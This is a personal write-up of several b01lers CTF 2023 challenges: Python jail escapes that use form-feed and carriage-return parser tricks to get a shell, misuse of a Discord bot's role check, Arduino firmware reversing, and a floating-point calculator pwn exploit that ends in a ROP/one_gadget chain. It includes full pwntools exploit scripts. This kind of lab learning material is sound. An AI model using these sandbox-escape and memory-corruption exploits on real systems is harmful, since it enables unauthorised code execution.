Page MenuHomedesp's stash

b01lers23.md
No OneTemporary

b01lers23.md

### blacklisted
lol i genuinely didnt know that the python interpreter was this flexible in parsing src
we cant use basically every symbol in ASCII including brackets, dots and equals
which means we basically cannot do anything that can really get us arbitrary code execution like calls and assignments or even just fetching attributes
surprisingly `@` and `:` aint in the list of banned symbols though, which made my mind instantly jump to [hack.lu's culinary classroom](https://despawningbone.me/ctf.html#hacklu22-culinary-class-room)
but the issue with this is the solution i used in that requires attribute access which wasnt allowed so our scope was restricted by a ton due to the one arg call by decorators, and theres also a list of banned words aside from banned symbols
so i was playing around with inlined lambdas in decorators to see if we can emulate getattr of some sort, which gave me some pretty interesting primitives like
```py
class test1:
@classmethod
@property
@lambda test: func
class test: pass
test1.test
```
which effectively runs `func(test1)`, but we can already do that by
```py
@func
class test1: pass
```
storing computed variables can also be done like
```py
@chr
@lambda test: 60
class teststr: pass
@chr
@lambda test: 61
class teststr2: pass
@lambda test: teststr+teststr2
class concatstr: pass
print(concatstr)
```
but its pretty useless either since even though we can overwrite the blacklist with this the code reader is not run in a loop so theres only one chance of smuggling code
```py
@input
class callinput: pass #arbitrary string
@lambda d: callinput % d #get item in dict formatted as string
@vars
class concatstr: pass
```
with `#!py %(__dict__)s` in input gives us one layer of attribute access in string representation of `#!py vars(concatstr)`, but is again useless since theres nothing in that class that has anything interesting
but as commented none of them are really useful at all
it is also at this time that i realized they have spaces banned in the symbol list so i couldnt even do class declarations LOL
so i took a break from it
while on a bus back home from the maple bacon meeting i thought to myself what if i can trick the python parser to think a byte is this char but in reality when it is executed its another char (like using EBCDIC which is an entirely different mapping than ASCII which means even if the ASCII version of the symbol is banned i should still be able to use it if the parser treats the byte as EBCDIC)
and i stumbled upon [encoding declarations](https://peps.python.org/pep-0263/), but [it doesnt support EBCDIC](https://bugs.python.org/issue1298) even if the declaration worked in execs - turns out exec itself encodes the string given to it through system encoding by default which is UTF-8 on remote anyway
so thats a dead end
but at this point im certain python has something funny with their parsers considering they allowed things like encoding declarations so i digged a bit more
the parser src for cpython was way too big, so i was just digging around for any documentations thats kinda related
until i stumbled upon this definition for `#!py bytes.isspace()`:
> Return `True` if all bytes in the sequence are ASCII whitespace and the sequence is not empty, `False` otherwise. ASCII whitespace characters are those byte values in the sequence `#!py b' \t\n\r\x0b\f'` (space, tab, newline, carriage return, vertical tab, form feed).
`\f` and `\x0b`?? the others make a lot of sense but huh if python builtin types treats them as spaces then surely the parser also treats them as spaces yea
turns out even though `\x0b` doesnt work `\f` works flawlessly as a space for some reason LOL
so we can finally use the primitives i found on remote - except any primitives that include lambda decorators seem to be dying
turns out its something thats recently introduced in python 3.9: [PEP-614 - relaxing grammar restrictions on decorators](https://peps.python.org/pep-0614/)
and remote is likely running < 3.9
so that idea is even deeper in the grave now
at this point i was just giving up on arbitrary code execution, and started to analyse the jail script itself more
turns out the way `open` and `print` are coded differently in that they dont use a validate and reject approach but rather a string replace approach ended up being much more vulnerable since we can just inject words like `prinprintt` to make the end result show `print` anyway
anyway now its just a pretty classic decorator chain with those out of the way: we just need to open the file with input, read lines with it, and print
reading lines with it was kinda interesting though - we cant call readlines() or read(), but turns out TextIOWrapper is an iterable itself on the lines in the file
which i somehow never realized considering `#!py for line in open('file.txt')` works so it shouldve been something ive tried
and it seems like im pretty much on track for the intended solution considering they banned basically every iterable function lmao
so its just checking every single iterable function in the builtins list until i hit `sorted` which wasnt banned
and we can get the flag with this:
```py
from pwn import *
p = remote('blacklisted.bctf23-codelab.kctf.cloud', 1337)
p.sendline(b'@prinprintt')
p.sendline(b'@sorted')
p.sendline(b'@oprintpprinteprintnprint')
p.sendline(b'@input')
p.sendline(b'class\fvalidate:pass')
p.sendline(b'')
p.interactive()
```
was using pwntools instead of manual coz i was testing EBCDIC locally lmao
`bctf{w41t_h0w_d1d_y0u_d3c0r4t3_th4t?}`
kinda sad that i spent quite a long time on a completely wrong direction but hey now i know basically every src based blacklist is pretty bypassable lmao
turns out you can even do something like this with unicode full width chars (from r3kapig's [crazyman](https://crazymanarmy.github.io/)):
```py
payload = [
'@exec'.encode(),
b'@input',
b'class\x0cX:pass',
b'', # an empty line to exec
]
```
i wonder just how many more parser related tricks there are
would be a pretty good addition to my pyjail arsenal lmao
### ez-class
chall was pretty big for a pyjail, but the gist was that it would make any class you want but in a fill-in-the-blanks way
and you can make multiple classes, and instantiate the classes you made any time (only instantiating will be done, so no running methods and all that)
but the thing is by fill-in-the-blanks, i really mean fill-in-the-blanks - its literally just a string concatenation which means its subject to injection of all sorts
and the only guard against that is a pretty simple ban on these chars `().\n`
i originally messed around with chaining constructors, but we cant access attributes or assign stuff anyway
so logically the next step was gonna be metaclasses since we can declare arbitrary parents including metaclass declarations
BUT
with the stuff learnt in [blacklisted](https://despawningbone.me/ctf.html#b01lers23-blacklisted), my mind suddenly went to bypassing the blacklist using parser accepted equivalent chars - with which `\r` was a prime candidate
since it expects a single line for method body, i can just use `\r` to escape from the method body declaration, and do something like `#!py __init__ = breakpoint` so the class instantiation will be hijacked to run breakpoint instead
and yep lmao with this we get a shell easily
```py
from pwn import *
#p = process('python3 ez_class.py', shell=True)
p = remote('ezclass.bctf23-codelab.kctf.cloud', 1337)
p.sendlineafter(b'Run class', b'1')
p.sendlineafter(b'name', b'test')
p.sendlineafter(b'inherit', b'')
p.sendlineafter(b'many methods', b'1')
p.sendlineafter(b'method name', b'test')
p.sendlineafter(b'method params', b'self')
p.sendlineafter(b'method body', b'pass\r\t__init__ = breakpoint')
p.sendlineafter(b'Run class', b'2')
p.sendlineafter(b'name', b'test')
p.sendlineafter(b'dependancies', b'')
p.interactive()
```
pretty sure its not intended either lmao considering what the flag says
i was probably on track for the intended solution originally
but flag is flag :) `bctf{m3ta_c4l1abl3_b5e478f33eb890a2ee65}`
### cheating scandal
i didnt actually do much in this chall aside from identifying the docker image, but i got pinged when my other teammates found a discord server lmao
[@Angus](https://maplebacon.org/authors/alueft/) was thinking of getting the code for the bot in the server somehow since its an osint chall after all, but i was like wait the bot only has one command and it requires a specific role
doesnt this sound very similar to [ductf's slash flag](https://despawningbone.me/ctf.html#ductf22-slash-flag)
so i tried to invite it to a server i own with the good ol universal invite link by replacing the bot id, add `Admin` as a role for myself, and then `/contact`'d
and lmfao flag `bctf{t0p_G_4lyf3@c0rv1x.c0m_123_456_7890}`
quite funny how this is literally the same as the first part of slash flag
### safe
another arduino chall
i wanted to actually understand firmware rev for once so i finally tried focusing on it instead of noping out the moment i see one lmaoo
we are given 2 schematic/pinout diagrams, and an intel hex file
so the first thing is to get the binary analysable first
with a good ol `srec_cat.exe safe.hex -Intel -o safe.bin -Binary` from `srecord` and then using a [config file for IDA for ATmega368](https://gist.github.com/extremecoders-re/8d3e9b846a6ec883e5ae3b2bccf5cc88#file-avr-cfg-L8) we can grab a good disasm of the firmware
in the meantime i was also searching for an arduino simulator somewhere since i dont have a uno with me or the keypad, but then i realized
https://wokwi.com/projects/294980637632233994
this site literally has the same images as one of the schematics we were given
the pinouts of the keypad even matches exactly that on the project
the best part is this site allows firmware simulation by `F1->upload firmware and start simulation` on the code editor too
so i ran that and it seems basically the same as a chall ive looked at but nope'd out before - you enter a code in the keypad and it either fails you or unlocks, this time after 20 chars are entered as per the simulation
so its time to figure out the logic of the win/fail code by checking out the calls to `digitalWrite` with pins 10/11 which were the win/fail pins which signifies they are triggered
but the issue is since its an intel hex file the debug symbols are ofc stripped
so i returned to my roots and started byte diffing like i did when i first started arcade modding LOL
it worked pretty much flawlessly it turns out
by compiling my own version of the project on that site with all the debug symbols, i got an exact match for `digitalWrite`/`digitalRead`/`pinMode`
so now its time to figure out the calling convention for AVR
after a bit of digging i identified the win/fail code which seems to live in the main loop, along with what seems like basically all of the keypad scanning code inlined in the same func
at this point i thought they turned on some aggressive optimizations, but it turns out the author just coded the scanning code themselves after talking with them after the ctf lmao
i eventually found what looks like the keypad codes that can be successfully decoded with the method in the Keypad.h library though
but it involves `*` and `#` which wasnt in the flag regex so something has to be wrong
and it also has 28 chars instead of 20 chars
so i got pretty stuck since IDA doesnt have a decompiler for AVR and i dont trust my own register data tracking methods, especially when AVR splits the address registers used for dereferencing into 2 separate registers lmao
so after a nap i went back and started analysing it again in ghidra instead
and it seems like my analysis was basically correct in that that is definitely the flag array
so i started experimenting with column-major instead of row-major encoding like that in Keypad.h too but it still had 28 chars
but then [@Kevin](https://maplebacon.org/authors/Kevin/) was like why not just truncate it to 20 chars since your column-major code fits the flag regex
so he submitted that and actually got the flag LOL i just doubted myself way too much `bctf{B5D2A160B062538BC55D}`
```py
mapping = [
[ '1', '2', '3', 'A' ],
[ '4', '5', '6', 'B' ],
[ '7', '8', '9', 'C' ],
[ '*', '0', '#', 'D' ],
]
flag = ''
for v in bytes.fromhex('0D05 0F04 0C00 0907 0D07 0904 0508 060D 0E05 050F 0908 0706 0504 0302'):
flag += mapping[v%4][v//4]
print(len(flag), flag, flag[:20])
```
eventually i realized the 8 chars at the end are part of the pinout for the keypad after looking at the src the author sent lmao
makes a ton of sense tbh
i still dont like how AVR handles addresses tho
ghidra fails to identify a ton of references coz of that too
also turns out the bugs ive been encountering with compiling arduino stuff on vscode was due to an ancient ver of `arduino-cli`
wouldve saved me so much headache if i knew that back when i made badcontroller for maplectf lmao
### Transcendental
ahhhh i hate math i hate math
lmfao if not for [@Sam]()'s arbitrary write primitive that involved way too much floating point math i wouldnt have got a working exploit anyway lmao so the snipe was genuinely how it should be
i did solve it at the end with a libc leak and ret2libc one_gadget instead of his method that relies on disabled PIE tho
well solve if you dont count the fact that i was using [@Sam]()'s old primitive so it took like 860 calls for each address write LMAO so it never worked on remote and i never bothered to make it work since he's already solved it
was fun figuring out *some* floating point math tho
and how the mantissa is just addition subtraction when exponent is not in question
* * *
anyway chall is basically a stack based floating point calculator, but they only allow you to load pi or e onto the stack
theres a bug in show (9) which allows negative array reads, and a bug in how the push/pop operations is done where you can basically pull the stack towards you if its not "gapped" with a NULL
```py
from pwn import *
import struct
context.binary = ELF('./temp/transcendental_patched')
p = context.binary.process(env={'LD_PRELOAD': './temp/libc-2.31.so'})
#p = remote('transcendental.bctf23-codelab.kctf.cloud', 1337)
#
# sam's arbitrary write primitive (seems like its bugged when writing 0s, but we cant write 0s anyway)
#
def cmd(c): p.sendlineafter(b'choice: ', c.encode())
def load_pi(): cmd('7')
def load_e(): cmd('8')
def push(): cmd('1')
def pop(): cmd('2')
def add(): cmd('4')
def sub(): cmd('5')
def mul(): cmd('6')
def swap(): cmd('3')
def dup():
push()
add()
def read(off):
cmd('9')
p.sendline(chr(off + ord('0')).encode())
p.readuntil(b'value is ')
s = p.readline().decode()
return float(s)
# exponentiate acc by n (positive)
def exp(n):
dup()
for _ in range(n-1):
mul()
swap()
pop()
# load 2**-52 * 2**-1022
def load_min_subnorm(sign=False):
load_e()
push()
load_pi()
sub()
exp(866)
if sign:
push()
sub()
def load_arbitrary(target):
sign = target >> 63
exp = (target >> 52) & 0x7ff
mantissa = target & 0xfffffffffffff
load_min_subnorm(sign)
dup()
mantissa |= (exp != 0) << 53
end = 52 - bin(mantissa)[2:].rjust(53,'0').find('1')
for i in range(end-1, -1, -1):
dup() # acc acc min
add() # acc2 acc min
swap() # acc acc2 min
pop() # acc2 min
if (mantissa >> i) & 1:
add()
for _ in range(exp-1):
dup()
add()
swap()
pop()
#
# end primitive
#
def arb_write_restore_stack(val):
load_arbitrary(int.from_bytes(val, 'big'))
#remove junk from load arb
for i in range(2):
swap()
pop()
for i in range(11):
load_e() #dud
push()
load_e() #dud
for i in range(12):
pop()
#currently at canary, but we need libc start main - keep canary by putting it to the top of stack every pop
for i in range(2):
swap()
pop()
swap()
push()
#start leak libc
libc = struct.pack('>d', read(1))[:4] #top 4 bytes in mantissa should be stable when no exponent is involved
#without mantissa its just an addition operation - we send the same bytes to subtract and we will get them emptied out as expected
arb_write_restore_stack(libc + bytes(4))
swap()
sub()
swap()
libc += struct.pack('>d', read(1))[4:6]
print(libc.hex())
arb_write_restore_stack(libc[4:6] + bytes(2))
swap()
sub()
swap()
libc += struct.pack('>d', read(1))[6:]
libc = int.from_bytes(libc, byteorder='big') - (0x23FC0 + 0xF3)
print(hex(libc))
#done libc, remove
pop()
#start rop
one_gadget = (libc + 0xe3b34).to_bytes(8, 'big')
arb_write_restore_stack(one_gadget)
swap()
push()
#for reg gadget, we cant push null addr so find a place in libc that points to null
null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()
null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()
#ROP(ELF('./temp/libc-2.31.so')).gadgets
rdx_r12_gadget = (libc + 0x119241).to_bytes(8, 'big')
arb_write_restore_stack(rdx_r12_gadget)
swap()
push()
null_addr = (libc + 0x8).to_bytes(8, 'big')
arb_write_restore_stack(null_addr)
swap()
push()
print(ROP(ELF('./temp/libc-2.31.so')).rsi)
rsi_gadget = (libc + 0x2604f).to_bytes(8, 'big')
arb_write_restore_stack(rsi_gadget)
swap()
push()
for i in range(3): #junk vars in stack
load_e()
swap()
push()
for i in range(10): #restore stack
load_e() #dud
push()
p.interactive()
```
i also made a failed attempt in a general float recovery algo for the canary, tho it doesnt really work with anything at this point coz i never finished it or fixed the bugs lmao
it does have a way to recover exponents and splitting the mantissa into parts though which might be useful for future challs
```py
#startbit is counted from the left of mantissa
#bits is total size of the part we wanna calculate
def partialmantissa(data, bits, startbit, exponent):
val = 0
for i in range(bits):
if data & 1 == 1:
print(f'2**{exponent - (startbit + bits - i)} + ', end='')
val += 2**(exponent - (startbit + bits - i))
data >>= 1
print()
return val
def recoverfloat():
raw = read(1)
val = struct.pack('>d', raw) #float(p.recvuntil(b'quit').split(b'value is ')[1].split('\n')[0]))
print(raw, val.hex())
#obtain exponent to remove certain parts of mantissa through subtraction
exponent = (int.from_bytes(val[:2], byteorder='big') >> 4 & 0x7FF) #exponent is in big endian
exponent = exponent - 1023 if exponent else -1022
print('exp:', exponent)
#we know the sign and exponent is always kept, and the top 4 bits are also kept since they are the most significant; the next byte is likely also kept due to the amount printed
subval = (2**exponent if exponent != -1022 else 0) + partialmantissa(val[1] & 0b1111, 4, 0, exponent) + partialmantissa(val[2], 8, 4, exponent) #base subval (most significant 12 bits) which we already obtained
#its probably likely that we can just issue 1 truncate and obtain all the bytes needed already since %g actually shows a fair amount of info
print(subval, struct.pack('>d', subval).hex())
load_arbitrary(int.from_bytes(struct.pack('>d', subval), 'big'))
#reset stack to push the arb val we loaded onto the top stack
# swap()
# pop()
# swap()
#p.interactive()
# for i in range(10):
# dup() #pad so we can pull (think of magnetic cables - the stack check checks for gaps (aka nulls) otherwise it pulls the entire chunk so once we attach by filling out the gap we can pull other things)
# for i in range(11):
# pop() #pull stack frame to us so we can operate on
#canary - partial mantissa to leak the rest
# swap()
# sub()
#remove junk from load arb
for i in range(2):
swap()
pop()
#swap()
#pop()
#sub()
newraw = read(0)
newval = struct.pack('>d', newraw)
print(newraw, newval.hex())
```

File Metadata

Mime Type
text/x-python
Expires
Sun, Jul 6, 4:25 AM (22 h, 2 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
d3/a7/8641a3b5ded506612eaae687df95

Event Timeline